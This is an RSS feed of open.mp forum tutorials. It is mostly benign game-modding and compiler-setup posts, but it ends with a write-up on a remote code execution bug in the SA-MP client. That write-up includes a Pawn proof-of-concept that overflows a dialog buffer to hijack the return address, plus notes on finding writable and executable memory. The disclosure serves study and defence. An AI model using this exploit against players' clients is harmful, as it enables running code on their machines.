<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[open.mp forum - Tutorials]]></title>
		<link>https://forum.open.mp/</link>
		<description><![CDATA[open.mp forum - https://forum.open.mp]]></description>
		<pubDate>Sat, 11 Apr 2026 23:02:25 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[How to make your GTA SA:MP like GTA 5 !]]></title>
			<link>https://forum.open.mp/showthread.php?tid=3169</link>
			<pubDate>Sun, 27 Apr 2025 11:22:09 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=3956">NoxxeR</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=3169</guid>
			<description><![CDATA[I have found some modifications on GTAinside which can make your game like GTA 5, in some updated ways. You can still play online with those mods. Depends on servers tho.<br />
<br />
<br />
GTA Inside : V HUD by DK22Pac - release 31.08.14<br />
GTA Inside : INSANITY_AudioPack V2.1<br />
GTA Inside : Better Bulletholes Mod<br />
GTA Inside : RagDollPhysics<br />
GTA Inside : Special Abilities v3.2.2<br />
GTA Inside : Beta Removed Weapons<br />
GTA Inside : Advanced aiming zoom fix<br />
GTA Inside : HDUniverseGTAVehicles1<br />
<br />
And lastly SA_DirectX_3_0_Beta<br />
<br />
<a href="https://drive.google.com/file/d/1OMlVUDbCCndLAE6ecVkKjF_5kJv-_iog/view?usp=drive_link" target="_blank" rel="noopener" class="mycode_url">https://drive.google.com/file/d/1OMlVUDb...drive_link</a><br />
<br />
Which can make your game look more better and more modern and almost like GTA 5.<br />
<br />
<a href="https://www.youtube.com/watch?v=33B-9IzoHag" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/watch?v=33B-9IzoHag</a><br />
<br />
Here is the website, just search the mods and download for free:<br />
<br />
<a href="https://www.gtainside.com/" target="_blank" rel="noopener" class="mycode_url">https://www.gtainside.com/</a><br />
<br />
All of those mods will make your game almost like GTA 5, not fully but similar. If you download them, they will be like 600mb together, GTA DirectX 3.0 is good usually cost but I link it for free, on google drive.]]></description>
			<content:encoded><![CDATA[I have found some modifications on GTAinside which can make your game like GTA 5, in some updated ways. You can still play online with those mods. Depends on servers tho.<br />
<br />
<br />
GTA Inside : V HUD by DK22Pac - release 31.08.14<br />
GTA Inside : INSANITY_AudioPack V2.1<br />
GTA Inside : Better Bulletholes Mod<br />
GTA Inside : RagDollPhysics<br />
GTA Inside : Special Abilities v3.2.2<br />
GTA Inside : Beta Removed Weapons<br />
GTA Inside : Advanced aiming zoom fix<br />
GTA Inside : HDUniverseGTAVehicles1<br />
<br />
And lastly SA_DirectX_3_0_Beta<br />
<br />
<a href="https://drive.google.com/file/d/1OMlVUDbCCndLAE6ecVkKjF_5kJv-_iog/view?usp=drive_link" target="_blank" rel="noopener" class="mycode_url">https://drive.google.com/file/d/1OMlVUDb...drive_link</a><br />
<br />
Which can make your game look more better and more modern and almost like GTA 5.<br />
<br />
<a href="https://www.youtube.com/watch?v=33B-9IzoHag" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/watch?v=33B-9IzoHag</a><br />
<br />
Here is the website, just search the mods and download for free:<br />
<br />
<a href="https://www.gtainside.com/" target="_blank" rel="noopener" class="mycode_url">https://www.gtainside.com/</a><br />
<br />
All of those mods will make your game almost like GTA 5, not fully but similar. If you download them, they will be like 600mb together, GTA DirectX 3.0 is good usually cost but I link it for free, on google drive.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[How to compile pawn script on termux anderoid]]></title>
			<link>https://forum.open.mp/showthread.php?tid=3105</link>
			<pubDate>Mon, 03 Mar 2025 04:04:55 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=6906">NathanKanaeru</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=3105</guid>
			<description><![CDATA[Go to Github and open this repository:<br />
<a href="https://github.com/Nathan-Studios/Pawn4Droid" target="_blank" rel="noopener" class="mycode_url">https://github.com/Nathan-Studios/Pawn4Droid</a><br />
<br />
On the release section of all downloads, and move the pawncc and pawndisasm to &#36; prefix/bin and move libpawnc.so to &#36; prefix/lib<br />
<br />
Or if you want to be easier to use the Installwr Script from the GITHUB repository<br />
<br />
Link Video<br />
<a href="https://youtu.be/itBffLyZHWA?si=ci7GwlkWJzaGf3Nb" target="_blank" rel="noopener" class="mycode_url">https://youtu.be/itBffLyZHWA?si=ci7GwlkWJzaGf3Nb</a>]]></description>
			<content:encoded><![CDATA[Go to Github and open this repository:<br />
<a href="https://github.com/Nathan-Studios/Pawn4Droid" target="_blank" rel="noopener" class="mycode_url">https://github.com/Nathan-Studios/Pawn4Droid</a><br />
<br />
On the release section of all downloads, and move the pawncc and pawndisasm to &#36; prefix/bin and move libpawnc.so to &#36; prefix/lib<br />
<br />
Or if you want to be easier to use the Installwr Script from the GITHUB repository<br />
<br />
Link Video<br />
<a href="https://youtu.be/itBffLyZHWA?si=ci7GwlkWJzaGf3Nb" target="_blank" rel="noopener" class="mycode_url">https://youtu.be/itBffLyZHWA?si=ci7GwlkWJzaGf3Nb</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[How to save gangzones?]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2980</link>
			<pubDate>Tue, 03 Dec 2024 18:56:25 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=6549">vuckooo_</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2980</guid>
			<description><![CDATA[I have an Gangwar gamemode and captured gangzones don't save when the server shuts down, they still have default owners. If anyone can help me with gangzone saving, please do!]]></description>
			<content:encoded><![CDATA[I have an Gangwar gamemode and captured gangzones don't save when the server shuts down, they still have default owners. If anyone can help me with gangzone saving, please do!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[How to Compile Your Gamemode in Visual Studio Code]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2926</link>
			<pubDate>Sat, 05 Oct 2024 06:20:24 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=6147">thelante</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2926</guid>
			<description><![CDATA[In this guide, I’ll show you how to compile your gamemode using Visual Studio Code. We’ll start by installing the necessary compiler and setting up everything step-by-step.<br />
<br />
To begin, we need to install the Pawn Development Tool extension for VSCode. You can either install it through VSCode directly or via this marketplace link: <a href="https://marketplace.visualstudio.com/items?itemName=openmp.pawn-development" target="_blank" rel="noopener" class="mycode_url">https://marketplace.visualstudio.com/ite...evelopment</a><br />
<br />
If you want to contribute or dive deeper into the project, here’s the source code link: <a href="https://github.com/openmultiplayer/vscode-pawn" target="_blank" rel="noopener" class="mycode_url">https://github.com/openmultiplayer/vscode-pawn</a><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Open Visual Studio Code</span><br />
<br />
<img src="https://i.imgur.com/I79gqXu.png" loading="lazy"  alt="[Image: I79gqXu.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Go to the Extensions Section</span><br />
<br />
  Click on the extensions icon located on the left-hand toolbar.<br />
<br />
  <img src="https://i.imgur.com/MHGnLFc.png" loading="lazy"  alt="[Image: MHGnLFc.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. Search for "Pawn Development Tool</span><br />
<br />
  Type <span style="font-style: italic;" class="mycode_i">Pawn Development Tool  </span>in the search bar.<br />
<br />
  <img src="https://i.imgur.com/BZwbxnH.png" loading="lazy"  alt="[Image: BZwbxnH.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">4. Select the First Option</span><br />
<br />
  The first option that appears will be the correct extension.<br />
<br />
 <img src="https://i.imgur.com/Gn20bcd.png" loading="lazy"  alt="[Image: Gn20bcd.png]" class="mycode_img" /><br />
 <img src="https://i.imgur.com/ddEGnhD.png" loading="lazy"  alt="[Image: ddEGnhD.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">5. Install the Extension</span><br />
<br />
  Click on the install button.<br />
<br />
  <img src="https://i.imgur.com/iRPcBpq.png" loading="lazy"  alt="[Image: iRPcBpq.png]" class="mycode_img" /><br />
<br />
<br />
Now that we’ve installed the extension, let’s move on to setting up the compiler.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Navigate to Your Gamemode Directory</span><br />
<br />
  Open your gamemode folder in VSCode.<br />
<br />
  <img src="https://i.imgur.com/udEWVTm.png" loading="lazy"  alt="[Image: udEWVTm.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Initialize the Pawn Task/Compiler</span><br />
<br />
  To set up the compiler, press <blockquote class="mycode_quote"><cite>Quote:</cite>Ctrl + Shift + P</blockquote>
 or <blockquote class="mycode_quote"><cite>Quote:</cite>F1</blockquote>
 or go to <span style="font-weight: bold;" class="mycode_b">View &gt; Command Palette</span>. Then, search for <span style="font-weight: bold;" class="mycode_b">Pawn Development: Initialize Pawn Build Task</span>.<br />
<br />
  <img src="https://i.imgur.com/5TJxchV.png" loading="lazy"  alt="[Image: 5TJxchV.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. Select the Build Task Option</span><br />
<br />
  Click on the result.<br />
<br />
  <img src="https://i.imgur.com/bWMiWNx.png" loading="lazy"  alt="[Image: bWMiWNx.png]" class="mycode_img" /><br />
<br />
<br />
After initializing the task, you might encounter an error when trying to compile, like this:<br />
<br />
<img src="https://i.imgur.com/xor8F6J.png" loading="lazy"  alt="[Image: xor8F6J.png]" class="mycode_img" /><br />
<br />
This happens because the compiler doesn’t know the location of `pawncc.exe`. So, we need to set it manually by editing the `tasks.json` file.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Open `tasks.json`</span><br />
<br />
  Find the `tasks.json` file in your `.vscode` folder.<br />
<br />
  <img src="https://i.imgur.com/CdpZCet.png" loading="lazy"  alt="[Image: CdpZCet.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Specify the Compiler Path</span><br />
<br />
  In the `command` field of `tasks.json`, you need to set the path to your compiler. If you’re using SA-MP Server, you might be using **pawno**, and for open.mp servers, you’ll likely be using qawno. Here’s how to configure each:<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><br />
Pawno users: </span>Set the path to `&#36;{workspaceRoot}/pawno/pawncc`<br />
<span style="font-weight: bold;" class="mycode_b">Qawno users:</span> Set the path to `&#36;{workspaceRoot}/qawno/pawncc`<br />
<br />
<br />
  Example setup:<br />
<br />
  <img src="https://i.imgur.com/W7LTtuB.png" loading="lazy"  alt="[Image: W7LTtuB.png]" class="mycode_img" /><br />
  <img src="https://i.imgur.com/TtP9En9.png" loading="lazy"  alt="[Image: TtP9En9.png]" class="mycode_img" /><br />
<br />
<br />
Now, you can compile your gamemode. If everything is set correctly, the compiler should successfully compile your script.<br />
<br />
<img src="https://i.imgur.com/RIgcgoU.png" loading="lazy"  alt="[Image: RIgcgoU.png]" class="mycode_img" /><br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Update:</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i">(Thanks to edgy and Southclaws they helped me figure this out and learn how to set it up!)</span><br />
<br />
You might notice that errors and warnings aren’t being highlighted yet. This is because we haven't set them up properly. Let's fix that by going back to the `tasks.json` file.<br />
<br />
<img src="https://i.imgur.com/CdpZCet.png" loading="lazy"  alt="[Image: CdpZCet.png]" class="mycode_img" /><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Adjust the `problemMatcher` Configuration</span></span><br />
<br />
First, locate the `"problemMatcher"` section in the `tasks.json` file. We need to modify the `"fileLocation"` property.<br />
<br />
 Change `"relative"` to `"autoDetect"` so it can automatically detect your gamemode file location.<br />
<br />
<img src="https://i.imgur.com/KZ6LQlH.png" loading="lazy"  alt="[Image: KZ6LQlH.png]" class="mycode_img" /><br />
<img src="https://i.imgur.com/wAL1PMd.png" loading="lazy"  alt="[Image: wAL1PMd.png]" class="mycode_img" /><br />
<br />
Next, update `"&#36;{workspaceRoot}"` to `"&#36;{workspaceRoot}/gamemodes"` to ensure it's pointing to your gamemode directory.<br />
<br />
<img src="https://i.imgur.com/kaF7Bud.png" loading="lazy"  alt="[Image: kaF7Bud.png]" class="mycode_img" /><br />
<br />
After making these changes, errors and warnings should now be properly highlighted in your gamemode.<br />
<br />
This guide was based on my own experience compiling gamemodes in VSCode. If you notice any mistakes or have suggestions for improvement, feel free to let me know!<br />
<br />
<br />
Thanks for reading, and good luck with your gamemode development!]]></description>
			<content:encoded><![CDATA[In this guide, I’ll show you how to compile your gamemode using Visual Studio Code. We’ll start by installing the necessary compiler and setting up everything step-by-step.<br />
<br />
To begin, we need to install the Pawn Development Tool extension for VSCode. You can either install it through VSCode directly or via this marketplace link: <a href="https://marketplace.visualstudio.com/items?itemName=openmp.pawn-development" target="_blank" rel="noopener" class="mycode_url">https://marketplace.visualstudio.com/ite...evelopment</a><br />
<br />
If you want to contribute or dive deeper into the project, here’s the source code link: <a href="https://github.com/openmultiplayer/vscode-pawn" target="_blank" rel="noopener" class="mycode_url">https://github.com/openmultiplayer/vscode-pawn</a><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Open Visual Studio Code</span><br />
<br />
<img src="https://i.imgur.com/I79gqXu.png" loading="lazy"  alt="[Image: I79gqXu.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Go to the Extensions Section</span><br />
<br />
  Click on the extensions icon located on the left-hand toolbar.<br />
<br />
  <img src="https://i.imgur.com/MHGnLFc.png" loading="lazy"  alt="[Image: MHGnLFc.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. Search for "Pawn Development Tool</span><br />
<br />
  Type <span style="font-style: italic;" class="mycode_i">Pawn Development Tool  </span>in the search bar.<br />
<br />
  <img src="https://i.imgur.com/BZwbxnH.png" loading="lazy"  alt="[Image: BZwbxnH.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">4. Select the First Option</span><br />
<br />
  The first option that appears will be the correct extension.<br />
<br />
 <img src="https://i.imgur.com/Gn20bcd.png" loading="lazy"  alt="[Image: Gn20bcd.png]" class="mycode_img" /><br />
 <img src="https://i.imgur.com/ddEGnhD.png" loading="lazy"  alt="[Image: ddEGnhD.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">5. Install the Extension</span><br />
<br />
  Click on the install button.<br />
<br />
  <img src="https://i.imgur.com/iRPcBpq.png" loading="lazy"  alt="[Image: iRPcBpq.png]" class="mycode_img" /><br />
<br />
<br />
Now that we’ve installed the extension, let’s move on to setting up the compiler.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Navigate to Your Gamemode Directory</span><br />
<br />
  Open your gamemode folder in VSCode.<br />
<br />
  <img src="https://i.imgur.com/udEWVTm.png" loading="lazy"  alt="[Image: udEWVTm.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Initialize the Pawn Task/Compiler</span><br />
<br />
  To set up the compiler, press <blockquote class="mycode_quote"><cite>Quote:</cite>Ctrl + Shift + P</blockquote>
 or <blockquote class="mycode_quote"><cite>Quote:</cite>F1</blockquote>
 or go to <span style="font-weight: bold;" class="mycode_b">View &gt; Command Palette</span>. Then, search for <span style="font-weight: bold;" class="mycode_b">Pawn Development: Initialize Pawn Build Task</span>.<br />
<br />
  <img src="https://i.imgur.com/5TJxchV.png" loading="lazy"  alt="[Image: 5TJxchV.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. Select the Build Task Option</span><br />
<br />
  Click on the result.<br />
<br />
  <img src="https://i.imgur.com/bWMiWNx.png" loading="lazy"  alt="[Image: bWMiWNx.png]" class="mycode_img" /><br />
<br />
<br />
After initializing the task, you might encounter an error when trying to compile, like this:<br />
<br />
<img src="https://i.imgur.com/xor8F6J.png" loading="lazy"  alt="[Image: xor8F6J.png]" class="mycode_img" /><br />
<br />
This happens because the compiler doesn’t know the location of `pawncc.exe`. So, we need to set it manually by editing the `tasks.json` file.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Open `tasks.json`</span><br />
<br />
  Find the `tasks.json` file in your `.vscode` folder.<br />
<br />
  <img src="https://i.imgur.com/CdpZCet.png" loading="lazy"  alt="[Image: CdpZCet.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">2. Specify the Compiler Path</span><br />
<br />
  In the `command` field of `tasks.json`, you need to set the path to your compiler. If you’re using SA-MP Server, you might be using **pawno**, and for open.mp servers, you’ll likely be using qawno. Here’s how to configure each:<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><br />
Pawno users: </span>Set the path to `&#36;{workspaceRoot}/pawno/pawncc`<br />
<span style="font-weight: bold;" class="mycode_b">Qawno users:</span> Set the path to `&#36;{workspaceRoot}/qawno/pawncc`<br />
<br />
<br />
  Example setup:<br />
<br />
  <img src="https://i.imgur.com/W7LTtuB.png" loading="lazy"  alt="[Image: W7LTtuB.png]" class="mycode_img" /><br />
  <img src="https://i.imgur.com/TtP9En9.png" loading="lazy"  alt="[Image: TtP9En9.png]" class="mycode_img" /><br />
<br />
<br />
Now, you can compile your gamemode. If everything is set correctly, the compiler should successfully compile your script.<br />
<br />
<img src="https://i.imgur.com/RIgcgoU.png" loading="lazy"  alt="[Image: RIgcgoU.png]" class="mycode_img" /><br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Update:</span></span><br />
<br />
<span style="font-style: italic;" class="mycode_i">(Thanks to edgy and Southclaws they helped me figure this out and learn how to set it up!)</span><br />
<br />
You might notice that errors and warnings aren’t being highlighted yet. This is because we haven't set them up properly. Let's fix that by going back to the `tasks.json` file.<br />
<br />
<img src="https://i.imgur.com/CdpZCet.png" loading="lazy"  alt="[Image: CdpZCet.png]" class="mycode_img" /><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Adjust the `problemMatcher` Configuration</span></span><br />
<br />
First, locate the `"problemMatcher"` section in the `tasks.json` file. We need to modify the `"fileLocation"` property.<br />
<br />
 Change `"relative"` to `"autoDetect"` so it can automatically detect your gamemode file location.<br />
<br />
<img src="https://i.imgur.com/KZ6LQlH.png" loading="lazy"  alt="[Image: KZ6LQlH.png]" class="mycode_img" /><br />
<img src="https://i.imgur.com/wAL1PMd.png" loading="lazy"  alt="[Image: wAL1PMd.png]" class="mycode_img" /><br />
<br />
Next, update `"&#36;{workspaceRoot}"` to `"&#36;{workspaceRoot}/gamemodes"` to ensure it's pointing to your gamemode directory.<br />
<br />
<img src="https://i.imgur.com/kaF7Bud.png" loading="lazy"  alt="[Image: kaF7Bud.png]" class="mycode_img" /><br />
<br />
After making these changes, errors and warnings should now be properly highlighted in your gamemode.<br />
<br />
This guide was based on my own experience compiling gamemodes in VSCode. If you notice any mistakes or have suggestions for improvement, feel free to let me know!<br />
<br />
<br />
Thanks for reading, and good luck with your gamemode development!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Setdynamicobjectrot]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2640</link>
			<pubDate>Sun, 17 Mar 2024 10:43:47 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=5553">artajuni63</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2640</guid>
			<description><![CDATA[Can someone help me? I want to change the rz ry rz object using setdynamicobjectrot but in the game the object won't move, where is my mistake?]]></description>
			<content:encoded><![CDATA[Can someone help me? I want to change the rz ry rz object using setdynamicobjectrot but in the game the object won't move, where is my mistake?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[SA-MP RCE — all you wanted to know]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2606</link>
			<pubDate>Sun, 25 Feb 2024 00:55:13 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=444">EvgeN 1137</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2606</guid>
			<description><![CDATA[<a href="https://www.blast.hk/threads/204305/" target="_blank" rel="noopener" class="mycode_url">This article in Russian / Эта статья на русском</a><br />
<span style="font-style: italic;" class="mycode_i">Note: this article was translated using Google Translate because I'm too lazy to do it by myself. So if you notice some mistakes please let me know and I'll correct them.</span><br />
<br />
Hello everyone. Surely many have heard about some vulnerabilities in SA-MP, about the strange abbreviation RCE, about client versions R4, R4-2, R5, which contain some kind of fixes for these vulnerabilities and which practically no one uses. Well, it's time to reveal all the information in detail.<br />
To fully understand this article and everything that is happening, you will need some knowledge of C++, assembler and reverse engineering. However, if you do not have such knowledge, I will still try to present the information in the most accessible way, in the spirit of a kind of detective story, where nothing is clear, but it is very interesting. Who knows, maybe this article will inspire you to study this area and change your life forever... Well, okay, I got distracted. Let's get started.<br />
<br />
<span style="font-size: large;" class="mycode_size">Introduction.</span><br />
<br />
So what is this vulnerability and what does RCE mean? In general, RCE, i.e. Remote Code Execution, is a vulnerability that allows you to remotely execute your code in an application. In other words, speaking as an exploiter, you can run arbitrary code (program) using the vulnerable program. Speaking as a potential victim, you could have arbitrary code running without your knowledge and without your knowledge. Roughly speaking, a hacker can force a vulnerable program to download another program and run it. Actually, in our case, this very "vulnerable program" is SA-MP.<br />
Where do such vulnerabilities come from? As a result of mistakes made during program development, SA-MP is no exception in this regard. Often such errors occur due to the possibility of overrunning array boundaries, which allows arbitrary data to be written to other areas of memory.<br />
The search and development of such a vulnerability into the RCE can be divided into the following stages:<br />
1. Search for a potential vulnerability in the program.<br />
2. Analysis of potential opportunities and ways to use.<br />
3. Development of the primary shellcode, which will "open the gates" for us to fully execute arbitrary code.<br />
4. Development of a scenario for using the found RCE.<br />
Well, let's get started.<br />
<br />
<span style="font-size: large;" class="mycode_size">Stage 1. Search.</span><br />
<br />
To find a vulnerability, it is necessary to purposefully reverse the application in those places where incoming external data is processed, looking for potential overflows and other errors. Sometimes fuzzing can also help, but we won't consider it here. I will be using client version 0.3.7 R3-1, as well as IDA Pro + Hex-Rays as a disassembler and decompiler. I will also take a ready-made database for IDA for client version R3-1 <a href="https://www.blast.hk/threads/192665/" target="_blank" rel="noopener" class="mycode_url">by LUCHARE</a>.<br />
Because I already know where the vulnerability is, I'll just demonstrate a potetntial sequence of actions on how it could be found. So, let's look at the RPC ShowDialog handler at 1000F7B0:<br />
<img src="https://i.imgur.com/RLjU2q6.jpeg" loading="lazy"  alt="[Image: RLjU2q6.jpeg]" class="mycode_img" /><br />
Everything is ok here, let's now take a look at CDialog::Open, there is a large switch-case structure depending on the style of the dialog. Let's look at the code branch for type 2, i.e. for DIALOG_STYLE_LIST. There the function sub_1006F4A0 is immediately called (I will rename it to CDialog::PrepareListbox for convenience), let's look at it:<br />
<img src="https://i.imgur.com/7YBFlTX.jpeg" loading="lazy"  alt="[Image: 7YBFlTX.jpeg]" class="mycode_img" /><br />
Here is the szText buffer for splitting lines in the dialog. A local buffer of 264 elements is used, all necessary checks are present. But now let's look at CDialog::GetTextScreenLength:<br />
<img src="https://i.imgur.com/aExuDut.jpeg" loading="lazy"  alt="[Image: aExuDut.jpeg]" class="mycode_img" /><br />
This function uses a local buffer to place a line into it, cut the color codes {xxxxxx} and calculate the width of the text for dialog box creation. And oops, here is a local array with 132 cells, and an array with 264 elements is passed here. Let's take a look at how it is located on the stack:<br />
<img src="https://i.imgur.com/VK6yiKi.jpeg" loading="lazy"  alt="[Image: VK6yiKi.jpeg]" class="mycode_img" /><br />
This function does not save any registers on the stack, including the esp value of the calling function, and the array itself is located "at the bottom" of the stack, so it is immediately followed by the return address. This means that if we pass one single line without hyphens of length 132 to the dialog, we will fill this local array completely, and if we add another 4 bytes, we will completely rewrite the return address. Let's create a test filterscript using the Pawn.RakNet plugin:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#define FILTERSCRIPT<br />
#include &lt;a_samp&gt;<br />
#include &lt;Pawn.RakNet&gt;<br />
<br />
new const RPC_ShowDialog = 61;<br />
<br />
new payload1[] =<br />
{<br />
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15<br />
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,<br />
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x11, 0x22, 0x33, 0x44<br />
};<br />
<br />
new BitStream:payload_bs;<br />
<br />
public OnFilterScriptInit()<br />
{<br />
payload_bs = BS_New();<br />
    BS_WriteUint16(payload_bs, 1); // dialog id<br />
BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style<br />
BS_WriteString8(payload_bs, "this is caption"); // caption<br />
BS_WriteString8(payload_bs, "left button"); // left button<br />
BS_WriteString8(payload_bs, "right button"); // right button<br />
BS_WriteCompressedString(payload_bs, payload1); // text<br />
}<br />
<br />
public OnFilterScriptExit()<br />
{<br />
BS_Delete(payload_bs);<br />
}<br />
<br />
public OnPlayerCommandText(playerid, cmdtext[])<br />
{<br />
if(!strcmp("/aasd1", cmdtext, true))<br />
{<br />
        PR_SendRPC(payload_bs, playerid, RPC_ShowDialog);<br />
return 1;<br />
}<br />
return 0;<br />
}</code></div></div>Here a string of 132 spaces is created, and then comes the address 0x44332211. Let's load fs, join the server and enter the command:<br />
<img src="https://i.imgur.com/5ta7ofs.jpeg" loading="lazy"  alt="[Image: 5ta7ofs.jpeg]" class="mycode_img" /><br />
Voila, we get a crash at this address! Thus, at this stage we can go to an arbitrary address.<br />
<br />
<span style="font-size: large;" class="mycode_size">Stage 2. Analysis.</span><br />
<br />
So, we can jump to any absolute address, which means that our next goal is to write our code somewhere into executable (this is important) memory and jump to this address. And here we face a number of serious problems.<br />
Problem one. You need to write your code not just anywhere, but in executable memory, i.e. to a region in which there are both writing and execution allowed.<br />
Problem two. The string with the contents of the dialog is transmitted as text, while in the RPC structure of the dialog it is compressed by algorithms in the RakNet library, and the null character (0x00) is a sign of the end of the string. This means that we cannot pass a string containing zeros, and we really need them.<br />
Problem three. In the CDialog::PrepareListbox function, string is limited to 256 characters, and we overflow after the 132nd, which means we can go 124 bytes out of bounds. Potentially, this may either be insufficient, or sufficient, but will complicate the task, because we need to manipulate the stack and write our own code, and not just bytes, but kilobytes and even megabytes.<br />
Faced with such problems, it may seem that in this case the vulnerability cannot be implemented at all, but these problems require a comprehensive approach, you need to know some of the features and nuances.<br />
In fact, there could be much more problems, in modern software there are all sorts of stack canary, ASLR, PIE and other horrors, but we are dealing with the ancient GTA San Andreas and SA-MP, where there are no such things or they are disabled intentionally. In addition, SA-MP itself is a mod that dirty hacks the game's memory, which sometimes only makes our work easier.<br />
In particular, SA-MP patches the game's memory by installing its own hooks. By default, executable memory is write-protected, so SA-MP is forced to give executable memory pages write permission in order to write its hooks. The protection is set to the entire page, because you cannot set protection only to some specific bytes. In this case, SA-MP forgets to return the original protection to the page, i.e. set write-protection again, so there remain regions in which writing and executing are allowed at the same time. You can view the memory map, for example, in Cheat Engine:<br />
<img src="https://i.imgur.com/15tAjp7.jpeg" loading="lazy"  alt="[Image: 15tAjp7.jpeg]" class="mycode_img" /><br />
I liked the region with the address 0x00866000, size 4kb (this is the size of one page), this will be enough. At that address there are string for saving game statistics to an html file. This feature is never used, so you can safely overwrite them there. But for now, let's remember and put this address aside and return to it later.<br />
I would also like to note one feature of SA-MP: it has a feature for changing gravity, i.e. you can set this value from the server. How is this implemented? It's very simple - the client simply writes the received value to a static address in the game itself. There is just one small, but very important detail: for some reason, the execute-protection is removed after setting the gravity. Because gravity is float, i.e. 4 bytes, we can write 4 bytes of executable code to an known address. It would seem that these are only 4 bytes, but we will also return to them a little later and, believe me, they will play a decisive role.<br />
